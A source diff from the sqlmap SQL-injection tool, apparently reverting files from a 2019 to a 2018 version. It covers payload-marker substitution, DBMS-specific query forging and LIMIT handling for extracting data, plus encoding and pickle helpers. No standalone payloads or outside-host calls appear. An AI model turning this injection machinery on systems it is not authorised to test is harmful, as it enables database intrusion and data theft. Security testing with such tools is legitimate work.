"[HASH_REPLACE]": kb.chars.hash_,
|
||||
"[GENERIC_SQL_COMMENT]": GENERIC_SQL_COMMENT
|
||||
}
|
||||
|
||||
for value in re.findall(r"\[[A-Z_]+\]", payload):
|
||||
if value in replacements:
|
||||
payload = payload.replace(value, replacements[value])
|
||||
replacements = (
|
||||
("[DELIMITER_START]", kb.chars.start),
|
||||
("[DELIMITER_STOP]", kb.chars.stop),
|
||||
("[AT_REPLACE]", kb.chars.at),
|
||||
("[SPACE_REPLACE]", kb.chars.space),
|
||||
("[DOLLAR_REPLACE]", kb.chars.dollar),
|
||||
("[HASH_REPLACE]", kb.chars.hash_),
|
||||
("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
|
||||
)
|
||||
payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload)
|
||||
|
||||
for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
|
||||
payload = payload.replace(_, str(randomInt()))
|
||||
@@ -363,7 +345,6 @@ class Agent(object):
|
||||
|
||||
if payload:
|
||||
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
|
||||
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
|
||||
|
||||
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
|
||||
payload = payload.replace(_, str(randomInt()))
|
||||
@@ -638,7 +619,7 @@ class Agent(object):
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB):
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||
@@ -837,7 +818,7 @@ class Agent(object):
|
||||
limitRegExp2 = None
|
||||
|
||||
if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
|
||||
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
|
||||
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
|
||||
|
||||
@@ -927,14 +908,14 @@ class Agent(object):
|
||||
fromFrom = limitedQuery[fromIndex + 1:]
|
||||
orderBy = None
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
|
||||
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif Backend.isDbms(DBMS.HSQLDB):
|
||||
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
|
||||
if match:
|
||||
limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
|
||||
limitedQuery = re.sub(r"\s*%s\s*" % match.group(0), " ", limitedQuery).strip()
|
||||
limitedQuery += " %s" % match.group(0)
|
||||
|
||||
if query.startswith("SELECT "):
|
||||
@@ -992,13 +973,14 @@ class Agent(object):
|
||||
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
|
||||
forgeNotIn = False
|
||||
else:
|
||||
limitedQuery = re.sub(r"\bTOP\s+\d+\s*", "", limitedQuery, flags=re.I)
|
||||
topNum = re.search(r"TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
|
||||
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
||||
|
||||
if forgeNotIn:
|
||||
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
||||
|
||||
if " ORDER BY " not in fromFrom:
|
||||
# Reference: https://web.archive.org/web/20150218053955/http://vorg.ca/626-the-MS-SQL-equivalent-to-MySQLs-limit-command
|
||||
# Reference: http://vorg.ca/626-the-MS-SQL-equivalent-to-MySQLs-limit-command
|
||||
if " WHERE " in limitedQuery:
|
||||
limitedQuery = "%s AND %s " % (limitedQuery, self.nullAndCastField(uniqueField or field))
|
||||
else:
|
||||
@@ -1107,7 +1089,7 @@ class Agent(object):
|
||||
if conf.dumpWhere and query:
|
||||
prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
|
||||
|
||||
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
|
||||
if "%s)" % conf.tbl.upper() in prefix.upper():
|
||||
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
|
||||
elif re.search(r"(?i)\bWHERE\b", prefix):
|
||||
prefix += " AND %s" % conf.dumpWhere
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -16,7 +16,6 @@ import os
|
||||
import sys
|
||||
import tempfile
|
||||
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.enums import MKSTEMP_PREFIX
|
||||
from lib.core.exception import SqlmapSystemException
|
||||
from lib.core.settings import BIGARRAY_CHUNK_SIZE
|
||||
@@ -34,7 +33,7 @@ def _size_of(object_):
|
||||
if isinstance(object_, dict):
|
||||
retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(object_.items()))
|
||||
elif hasattr(object_, "__iter__"):
|
||||
retval += sum(_size_of(_) for _ in object_ if _ != object_)
|
||||
retval += sum(_size_of(_) for _ in object_)
|
||||
|
||||
return retval
|
||||
|
||||
@@ -53,21 +52,21 @@ class BigArray(list):
|
||||
List-like class used for storing large amounts of data (disk cached)
|
||||
"""
|
||||
|
||||
def __init__(self, items=None):
|
||||
def __init__(self, items=[]):
|
||||
self.chunks = [[]]
|
||||
self.chunk_length = sys.maxsize
|
||||
self.chunk_length = sys.maxint
|
||||
self.cache = None
|
||||
self.filenames = set()
|
||||
self._os_remove = os.remove
|
||||
self._size_counter = 0
|
||||
|
||||
for item in (items or []):
|
||||
for item in items:
|
||||
self.append(item)
|
||||
|
||||
def append(self, value):
|
||||
self.chunks[-1].append(value)
|
||||
|
||||
if self.chunk_length == sys.maxsize:
|
||||
if self.chunk_length == sys.maxint:
|
||||
self._size_counter += _size_of(value)
|
||||
if self._size_counter >= BIGARRAY_CHUNK_SIZE:
|
||||
self.chunk_length = len(self.chunks[-1])
|
||||
@@ -88,9 +87,9 @@ class BigArray(list):
|
||||
try:
|
||||
with open(self.chunks[-1], "rb") as f:
|
||||
self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
|
||||
except IOError as ex:
|
||||
except IOError, ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
errMsg += "from a temporary file ('%s')" % ex.message
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
return self.chunks[-1].pop()
|
||||
@@ -110,9 +109,9 @@ class BigArray(list):
|
||||
with open(filename, "w+b") as f:
|
||||
f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
|
||||
return filename
|
||||
except (OSError, IOError) as ex:
|
||||
except (OSError, IOError), ex:
|
||||
errMsg = "exception occurred while storing data "
|
||||
errMsg += "to a temporary file ('%s'). Please " % ex
|
||||
errMsg += "to a temporary file ('%s'). Please " % ex.message
|
||||
errMsg += "make sure that there is enough disk space left. If problem persists, "
|
||||
errMsg += "try to set environment variable 'TEMP' to a location "
|
||||
errMsg += "writeable by the current user"
|
||||
@@ -127,9 +126,9 @@ class BigArray(list):
|
||||
try:
|
||||
with open(self.chunks[index], "rb") as f:
|
||||
self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
|
||||
except Exception as ex:
|
||||
except Exception, ex:
|
||||
errMsg = "exception occurred while retrieving data "
|
||||
errMsg += "from a temporary file ('%s')" % ex
|
||||
errMsg += "from a temporary file ('%s')" % ex.message
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
def __getstate__(self):
|
||||
@@ -139,11 +138,17 @@ class BigArray(list):
|
||||
self.__init__()
|
||||
self.chunks, self.filenames = state
|
||||
|
||||
def __getslice__(self, i, j):
|
||||
i = max(0, len(self) + i if i < 0 else i)
|
||||
j = min(len(self), len(self) + j if j < 0 else j)
|
||||
|
||||
return BigArray(self[_] for _ in xrange(i, j))
|
||||
|
||||
def __getitem__(self, y):
|
||||
if y < 0:
|
||||
y += len(self)
|
||||
|
||||
index = y // self.chunk_length
|
||||
index = y / self.chunk_length
|
||||
offset = y % self.chunk_length
|
||||
chunk = self.chunks[index]
|
||||
|
||||
@@ -154,7 +159,7 @@ class BigArray(list):
|
||||
return self.cache.data[offset]
|
||||
|
||||
def __setitem__(self, y, value):
|
||||
index = y // self.chunk_length
|
||||
index = y / self.chunk_length
|
||||
offset = y % self.chunk_length
|
||||
chunk = self.chunks[index]
|
||||
|
||||
|
||||
1371
lib/core/common.py
1371
lib/core/common.py
File diff suppressed because it is too large
Load Diff
@@ -1,245 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import binascii
|
||||
import functools
|
||||
import math
|
||||
import os
|
||||
import random
|
||||
import uuid
|
||||
import sys
|
||||
|
||||
class WichmannHill(random.Random):
|
||||
"""
|
||||
Reference: https://svn.python.org/projects/python/trunk/Lib/random.py
|
||||
"""
|
||||
|
||||
VERSION = 1 # used by getstate/setstate
|
||||
|
||||
def seed(self, a=None):
|
||||
"""Initialize internal state from hashable object.
|
||||
|
||||
None or no argument seeds from current time or from an operating
|
||||
system specific randomness source if available.
|
||||
|
||||
If a is not None or an int or long, hash(a) is used instead.
|
||||
|
||||
If a is an int or long, a is used directly. Distinct values between
|
||||
0 and 27814431486575L inclusive are guaranteed to yield distinct
|
||||
internal states (this guarantee is specific to the default
|
||||
Wichmann-Hill generator).
|
||||
"""
|
||||
|
||||
if a is None:
|
||||
try:
|
||||
a = int(binascii.hexlify(os.urandom(16)), 16)
|
||||
except NotImplementedError:
|
||||
import time
|
||||
a = int(time.time() * 256) # use fractional seconds
|
||||
|
||||
if not isinstance(a, int):
|
||||
a = hash(a)
|
||||
|
||||
a, x = divmod(a, 30268)
|
||||
a, y = divmod(a, 30306)
|
||||
a, z = divmod(a, 30322)
|
||||
self._seed = int(x) + 1, int(y) + 1, int(z) + 1
|
||||
|
||||
self.gauss_next = None
|
||||
|
||||
def random(self):
|
||||
"""Get the next random number in the range [0.0, 1.0)."""
|
||||
|
||||
# Wichman-Hill random number generator.
|
||||
#
|
||||
# Wichmann, B. A. & Hill, I. D. (1982)
|
||||
# Algorithm AS 183:
|
||||
# An efficient and portable pseudo-random number generator
|
||||
# Applied Statistics 31 (1982) 188-190
|
||||
#
|
||||
# see also:
|
||||
# Correction to Algorithm AS 183
|
||||
# Applied Statistics 33 (1984) 123
|
||||
#
|
||||
# McLeod, A. I. (1985)
|
||||
# A remark on Algorithm AS 183
|
||||
# Applied Statistics 34 (1985),198-200
|
||||
|
||||
# This part is thread-unsafe:
|
||||
# BEGIN CRITICAL SECTION
|
||||
x, y, z = self._seed
|
||||
x = (171 * x) % 30269
|
||||
y = (172 * y) % 30307
|
||||
z = (170 * z) % 30323
|
||||
self._seed = x, y, z
|
||||
# END CRITICAL SECTION
|
||||
|
||||
# Note: on a platform using IEEE-754 double arithmetic, this can
|
||||
# never return 0.0 (asserted by Tim; proof too long for a comment).
|
||||
return (x / 30269.0 + y / 30307.0 + z / 30323.0) % 1.0
|
||||
|
||||
def getstate(self):
|
||||
"""Return internal state; can be passed to setstate() later."""
|
||||
return self.VERSION, self._seed, self.gauss_next
|
||||
|
||||
def setstate(self, state):
|
||||
"""Restore internal state from object returned by getstate()."""
|
||||
version = state[0]
|
||||
if version == 1:
|
||||
version, self._seed, self.gauss_next = state
|
||||
else:
|
||||
raise ValueError("state with version %s passed to "
|
||||
"Random.setstate() of version %s" %
|
||||
(version, self.VERSION))
|
||||
|
||||
def jumpahead(self, n):
|
||||
"""Act as if n calls to random() were made, but quickly.
|
||||
|
||||
n is an int, greater than or equal to 0.
|
||||
|
||||
Example use: If you have 2 threads and know that each will
|
||||
consume no more than a million random numbers, create two Random
|
||||
objects r1 and r2, then do
|
||||
r2.setstate(r1.getstate())
|
||||
r2.jumpahead(1000000)
|
||||
Then r1 and r2 will use guaranteed-disjoint segments of the full
|
||||
period.
|
||||
"""
|
||||
|
||||
if n < 0:
|
||||
raise ValueError("n must be >= 0")
|
||||
x, y, z = self._seed
|
||||
x = int(x * pow(171, n, 30269)) % 30269
|
||||
y = int(y * pow(172, n, 30307)) % 30307
|
||||
z = int(z * pow(170, n, 30323)) % 30323
|
||||
self._seed = x, y, z
|
||||
|
||||
def __whseed(self, x=0, y=0, z=0):
|
||||
"""Set the Wichmann-Hill seed from (x, y, z).
|
||||
|
||||
These must be integers in the range [0, 256).
|
||||
"""
|
||||
|
||||
if not type(x) == type(y) == type(z) == int:
|
||||
raise TypeError('seeds must be integers')
|
||||
if not (0 <= x < 256 and 0 <= y < 256 and 0 <= z < 256):
|
||||
raise ValueError('seeds must be in range(0, 256)')
|
||||
if 0 == x == y == z:
|
||||
# Initialize from current time
|
||||
import time
|
||||
t = int(time.time() * 256)
|
||||
t = int((t & 0xffffff) ^ (t >> 24))
|
||||
t, x = divmod(t, 256)
|
||||
t, y = divmod(t, 256)
|
||||
t, z = divmod(t, 256)
|
||||
# Zero is a poor seed, so substitute 1
|
||||
self._seed = (x or 1, y or 1, z or 1)
|
||||
|
||||
self.gauss_next = None
|
||||
|
||||
def whseed(self, a=None):
|
||||
"""Seed from hashable object's hash code.
|
||||
|
||||
None or no argument seeds from current time. It is not guaranteed
|
||||
that objects with distinct hash codes lead to distinct internal
|
||||
states.
|
||||
|
||||
This is obsolete, provided for compatibility with the seed routine
|
||||
used prior to Python 2.1. Use the .seed() method instead.
|
||||
"""
|
||||
|
||||
if a is None:
|
||||
self.__whseed()
|
||||
return
|
||||
a = hash(a)
|
||||
a, x = divmod(a, 256)
|
||||
a, y = divmod(a, 256)
|
||||
a, z = divmod(a, 256)
|
||||
x = (x + a) % 256 or 1
|
||||
y = (y + a) % 256 or 1
|
||||
z = (z + a) % 256 or 1
|
||||
self.__whseed(x, y, z)
|
||||
|
||||
def patchHeaders(headers):
|
||||
if headers is not None and not hasattr(headers, "headers"):
|
||||
headers.headers = ["%s: %s\r\n" % (header, headers[header]) for header in headers]
|
||||
|
||||
def cmp(a, b):
|
||||
"""
|
||||
>>> cmp("a", "b")
|
||||
-1
|
||||
>>> cmp(2, 1)
|
||||
1
|
||||
"""
|
||||
|
||||
if a < b:
|
||||
return -1
|
||||
elif a > b:
|
||||
return 1
|
||||
else:
|
||||
return 0
|
||||
|
||||
# Reference: https://github.com/urllib3/urllib3/blob/master/src/urllib3/filepost.py
|
||||
def choose_boundary():
|
||||
return uuid.uuid4().hex
|
||||
|
||||
# Reference: http://python3porting.com/differences.html
|
||||
def round(x, d=0):
|
||||
"""
|
||||
>>> round(2.0)
|
||||
2.0
|
||||
>>> round(2.5)
|
||||
3.0
|
||||
"""
|
||||
|
||||
p = 10 ** d
|
||||
if x > 0:
|
||||
return float(math.floor((x * p) + 0.5)) / p
|
||||
else:
|
||||
return float(math.ceil((x * p) - 0.5)) / p
|
||||
|
||||
def cmp_to_key(mycmp):
|
||||
"""Convert a cmp= function into a key= function"""
|
||||
class K(object):
|
||||
__slots__ = ['obj']
|
||||
|
||||
def __init__(self, obj, *args):
|
||||
self.obj = obj
|
||||
|
||||
def __lt__(self, other):
|
||||
return mycmp(self.obj, other.obj) < 0
|
||||
|
||||
def __gt__(self, other):
|
||||
return mycmp(self.obj, other.obj) > 0
|
||||
|
||||
def __eq__(self, other):
|
||||
return mycmp(self.obj, other.obj) == 0
|
||||
|
||||
def __le__(self, other):
|
||||
return mycmp(self.obj, other.obj) <= 0
|
||||
|
||||
def __ge__(self, other):
|
||||
return mycmp(self.obj, other.obj) >= 0
|
||||
|
||||
def __ne__(self, other):
|
||||
return mycmp(self.obj, other.obj) != 0
|
||||
|
||||
def __hash__(self):
|
||||
raise TypeError('hash not implemented')
|
||||
|
||||
return K
|
||||
|
||||
# Note: patch for Python 2.6
|
||||
if not hasattr(functools, "cmp_to_key"):
|
||||
functools.cmp_to_key = cmp_to_key
|
||||
|
||||
if sys.version_info >= (3, 0):
|
||||
xrange = range
|
||||
buffer = memoryview
|
||||
else:
|
||||
xrange = xrange
|
||||
buffer = buffer
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -9,88 +9,169 @@ try:
|
||||
import cPickle as pickle
|
||||
except:
|
||||
import pickle
|
||||
finally:
|
||||
import pickle as picklePy
|
||||
|
||||
import base64
|
||||
import binascii
|
||||
import codecs
|
||||
import collections
|
||||
import json
|
||||
import re
|
||||
import StringIO
|
||||
import sys
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA
|
||||
from lib.core.settings import IS_TTY
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PICKLE_PROTOCOL
|
||||
from lib.core.settings import SAFE_HEX_MARKER
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from thirdparty import six
|
||||
from thirdparty.six import unichr as _unichr
|
||||
from lib.core.settings import PICKLE_REDUCE_WHITELIST
|
||||
|
||||
def base64decode(value):
|
||||
"""
|
||||
Decodes string value from Base64 to plain format
|
||||
|
||||
>>> base64decode('Zm9vYmFy')
|
||||
'foobar'
|
||||
"""
|
||||
|
||||
return base64.b64decode(value)
|
||||
|
||||
def base64encode(value):
|
||||
"""
|
||||
Encodes string value from plain to Base64 format
|
||||
|
||||
>>> base64encode('foobar')
|
||||
'Zm9vYmFy'
|
||||
"""
|
||||
|
||||
return base64.b64encode(value)
|
||||
|
||||
def base64pickle(value):
|
||||
"""
|
||||
Serializes (with pickle) and encodes to Base64 format supplied (binary) value
|
||||
|
||||
>>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3]
|
||||
True
|
||||
>>> base64pickle('foobar')
|
||||
'gAJVBmZvb2JhcnEBLg=='
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
|
||||
try:
|
||||
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL))
|
||||
retVal = base64encode(pickle.dumps(value, pickle.HIGHEST_PROTOCOL))
|
||||
except:
|
||||
warnMsg = "problem occurred while serializing "
|
||||
warnMsg += "instance of a type '%s'" % type(value)
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
try:
|
||||
retVal = encodeBase64(pickle.dumps(value))
|
||||
retVal = base64encode(pickle.dumps(value))
|
||||
except:
|
||||
retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL))
|
||||
retVal = base64encode(pickle.dumps(str(value), pickle.HIGHEST_PROTOCOL))
|
||||
|
||||
return retVal
|
||||
|
||||
def base64unpickle(value):
|
||||
def base64unpickle(value, unsafe=False):
|
||||
"""
|
||||
Decodes value from Base64 to plain format and deserializes (with pickle) its content
|
||||
|
||||
>>> type(base64unpickle('gAJjX19idWlsdGluX18Kb2JqZWN0CnEBKYFxAi4=')) == object
|
||||
True
|
||||
>>> base64unpickle('gAJVBmZvb2JhcnEBLg==')
|
||||
'foobar'
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
|
||||
def _(self):
|
||||
if len(self.stack) > 1:
|
||||
func = self.stack[-2]
|
||||
if func not in PICKLE_REDUCE_WHITELIST:
|
||||
raise Exception("abusing reduce() is bad, Mkay!")
|
||||
self.load_reduce()
|
||||
|
||||
def loads(str):
|
||||
f = StringIO.StringIO(str)
|
||||
if unsafe:
|
||||
unpickler = picklePy.Unpickler(f)
|
||||
unpickler.dispatch[picklePy.REDUCE] = _
|
||||
else:
|
||||
unpickler = pickle.Unpickler(f)
|
||||
return unpickler.load()
|
||||
|
||||
try:
|
||||
retVal = pickle.loads(decodeBase64(value))
|
||||
retVal = loads(base64decode(value))
|
||||
except TypeError:
|
||||
retVal = pickle.loads(decodeBase64(bytes(value)))
|
||||
retVal = loads(base64decode(bytes(value)))
|
||||
|
||||
return retVal
|
||||
|
||||
def htmlUnescape(value):
|
||||
def hexdecode(value):
|
||||
"""
|
||||
Returns (basic conversion) HTML unescaped value
|
||||
Decodes string value from hex to plain format
|
||||
|
||||
>>> htmlUnescape('a<b') == 'a<b'
|
||||
True
|
||||
>>> hexdecode('666f6f626172')
|
||||
'foobar'
|
||||
"""
|
||||
|
||||
value = value.lower()
|
||||
return (value[2:] if value.startswith("0x") else value).decode("hex")
|
||||
|
||||
def hexencode(value, encoding=None):
|
||||
"""
|
||||
Encodes string value from plain to hex format
|
||||
|
||||
>>> hexencode('foobar')
|
||||
'666f6f626172'
|
||||
"""
|
||||
|
||||
return unicodeencode(value, encoding).encode("hex")
|
||||
|
||||
def unicodeencode(value, encoding=None):
|
||||
"""
|
||||
Returns 8-bit string representation of the supplied unicode value
|
||||
|
||||
>>> unicodeencode(u'foobar')
|
||||
'foobar'
|
||||
"""
|
||||
|
||||
retVal = value
|
||||
|
||||
if value and isinstance(value, six.string_types):
|
||||
replacements = (("<", '<'), (">", '>'), (""", '"'), (" ", ' '), ("&", '&'), ("'", "'"))
|
||||
for code, value in replacements:
|
||||
retVal = retVal.replace(code, value)
|
||||
|
||||
if isinstance(value, unicode):
|
||||
try:
|
||||
retVal = re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal)
|
||||
retVal = value.encode(encoding or UNICODE_ENCODING)
|
||||
except UnicodeEncodeError:
|
||||
retVal = value.encode(UNICODE_ENCODING, "replace")
|
||||
return retVal
|
||||
|
||||
def utf8encode(value):
|
||||
"""
|
||||
Returns 8-bit string representation of the supplied UTF-8 value
|
||||
|
||||
>>> utf8encode(u'foobar')
|
||||
'foobar'
|
||||
"""
|
||||
|
||||
return unicodeencode(value, "utf-8")
|
||||
|
||||
def utf8decode(value):
|
||||
"""
|
||||
Returns UTF-8 representation of the supplied 8-bit string representation
|
||||
|
||||
>>> utf8decode('foobar')
|
||||
u'foobar'
|
||||
"""
|
||||
|
||||
return value.decode("utf-8")
|
||||
|
||||
def htmlunescape(value):
|
||||
"""
|
||||
Returns (basic conversion) HTML unescaped value
|
||||
|
||||
>>> htmlunescape('a<b')
|
||||
'a<b'
|
||||
"""
|
||||
|
||||
retVal = value
|
||||
if value and isinstance(value, basestring):
|
||||
codes = (("<", '<'), (">", '>'), (""", '"'), (" ", ' '), ("&", '&'), ("'", "'"))
|
||||
retVal = reduce(lambda x, y: x.replace(y[0], y[1]), codes, retVal)
|
||||
try:
|
||||
retVal = re.sub(r"&#x([^ ;]+);", lambda match: unichr(int(match.group(1), 16)), retVal)
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
return retVal
|
||||
|
||||
def singleTimeWarnMessage(message): # Cross-referenced function
|
||||
@@ -98,14 +179,33 @@ def singleTimeWarnMessage(message): # Cross-referenced function
|
||||
sys.stdout.write("\n")
|
||||
sys.stdout.flush()
|
||||
|
||||
def filterNone(values): # Cross-referenced function
|
||||
return [_ for _ in values if _] if isinstance(values, collections.Iterable) else values
|
||||
def stdoutencode(data):
|
||||
retVal = None
|
||||
|
||||
def isListLike(value): # Cross-referenced function
|
||||
raise NotImplementedError
|
||||
try:
|
||||
data = data or ""
|
||||
|
||||
def shellExec(cmd): # Cross-referenced function
|
||||
raise NotImplementedError
|
||||
# Reference: http://bugs.python.org/issue1602
|
||||
if IS_WIN:
|
||||
output = data.encode(sys.stdout.encoding, "replace")
|
||||
|
||||
if '?' in output and '?' not in data:
|
||||
warnMsg = "cannot properly display Unicode characters "
|
||||
warnMsg += "inside Windows OS command prompt "
|
||||
warnMsg += "(http://bugs.python.org/issue1602). All "
|
||||
warnMsg += "unhandled occurrences will result in "
|
||||
warnMsg += "replacement with '?' character. Please, find "
|
||||
warnMsg += "proper character representation inside "
|
||||
warnMsg += "corresponding output files. "
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
retVal = output
|
||||
else:
|
||||
retVal = data.encode(sys.stdout.encoding)
|
||||
except:
|
||||
retVal = data.encode(UNICODE_ENCODING) if isinstance(data, unicode) else data
|
||||
|
||||
return retVal
|
||||
|
||||
def jsonize(data):
|
||||
"""
|
||||
@@ -121,251 +221,8 @@ def dejsonize(data):
|
||||
"""
|
||||
Returns JSON deserialized data
|
||||
|
||||
>>> dejsonize('{\\n "foo": "bar"\\n}') == {u'foo': u'bar'}
|
||||
True
|
||||
>>> dejsonize('{\\n "foo": "bar"\\n}')
|
||||
{u'foo': u'bar'}
|
||||
"""
|
||||
|
||||
return json.loads(data)
|
||||
|
||||
def decodeHex(value, binary=True):
|
||||
"""
|
||||
Returns a decoded representation of provided hexadecimal value
|
||||
|
||||
>>> decodeHex("313233") == b"123"
|
||||
True
|
||||
>>> decodeHex("313233", binary=False) == u"123"
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = value
|
||||
|
||||
if isinstance(value, six.binary_type):
|
||||
value = getText(value)
|
||||
|
||||
if value.lower().startswith("0x"):
|
||||
value = value[2:]
|
||||
|
||||
try:
|
||||
retVal = codecs.decode(value, "hex")
|
||||
except LookupError:
|
||||
retVal = binascii.unhexlify(value)
|
||||
|
||||
if not binary:
|
||||
retVal = getText(retVal)
|
||||
|
||||
return retVal
|
||||
|
||||
def encodeHex(value, binary=True):
|
||||
"""
|
||||
Returns a encoded representation of provided string value
|
||||
|
||||
>>> encodeHex(b"123") == b"313233"
|
||||
True
|
||||
>>> encodeHex("123", binary=False)
|
||||
'313233'
|
||||
"""
|
||||
|
||||
if isinstance(value, six.text_type):
|
||||
value = value.encode(UNICODE_ENCODING)
|
||||
|
||||
try:
|
||||
retVal = codecs.encode(value, "hex")
|
||||
except LookupError:
|
||||
retVal = binascii.hexlify(value)
|
||||
|
||||
if not binary:
|
||||
retVal = getText(retVal)
|
||||
|
||||
return retVal
|
||||
|
||||
def decodeBase64(value, binary=True):
|
||||
"""
|
||||
Returns a decoded representation of provided Base64 value
|
||||
|
||||
>>> decodeBase64("MTIz") == b"123"
|
||||
True
|
||||
>>> decodeBase64("MTIz", binary=False)
|
||||
'123'
|
||||
"""
|
||||
|
||||
retVal = base64.b64decode(value)
|
||||
|
||||
if not binary:
|
||||
retVal = getText(retVal)
|
||||
|
||||
return retVal
|
||||
|
||||
def encodeBase64(value, binary=True):
|
||||
"""
|
||||
Returns a decoded representation of provided Base64 value
|
||||
|
||||
>>> encodeBase64(b"123") == b"MTIz"
|
||||
True
|
||||
>>> encodeBase64(u"123", binary=False)
|
||||
'MTIz'
|
||||
"""
|
||||
|
||||
if isinstance(value, six.text_type):
|
||||
value = value.encode(UNICODE_ENCODING)
|
||||
|
||||
retVal = base64.b64encode(value)
|
||||
|
||||
if not binary:
|
||||
retVal = getText(retVal)
|
||||
|
||||
return retVal
|
||||
|
||||
def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
|
||||
"""
|
||||
Returns byte representation of provided Unicode value
|
||||
|
||||
>>> getBytes(u"foo\\\\x01\\\\x83\\\\xffbar") == b"foo\\x01\\x83\\xffbar"
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = value
|
||||
|
||||
if isinstance(value, six.text_type):
|
||||
if INVALID_UNICODE_PRIVATE_AREA:
|
||||
if unsafe:
|
||||
for char in xrange(0xF0000, 0xF00FF + 1):
|
||||
value = value.replace(_unichr(char), "%s%02x" % (SAFE_HEX_MARKER, char - 0xF0000))
|
||||
|
||||
retVal = value.encode(encoding, errors)
|
||||
|
||||
if unsafe:
|
||||
retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal)
|
||||
else:
|
||||
retVal = value.encode(encoding, errors)
|
||||
|
||||
if unsafe:
|
||||
retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal)
|
||||
|
||||
return retVal
|
||||
|
||||
def getOrds(value):
|
||||
"""
|
||||
Returns ORD(...) representation of provided string value
|
||||
|
||||
>>> getOrds(u'fo\\xf6bar')
|
||||
[102, 111, 246, 98, 97, 114]
|
||||
>>> getOrds(b"fo\\xc3\\xb6bar")
|
||||
[102, 111, 195, 182, 98, 97, 114]
|
||||
"""
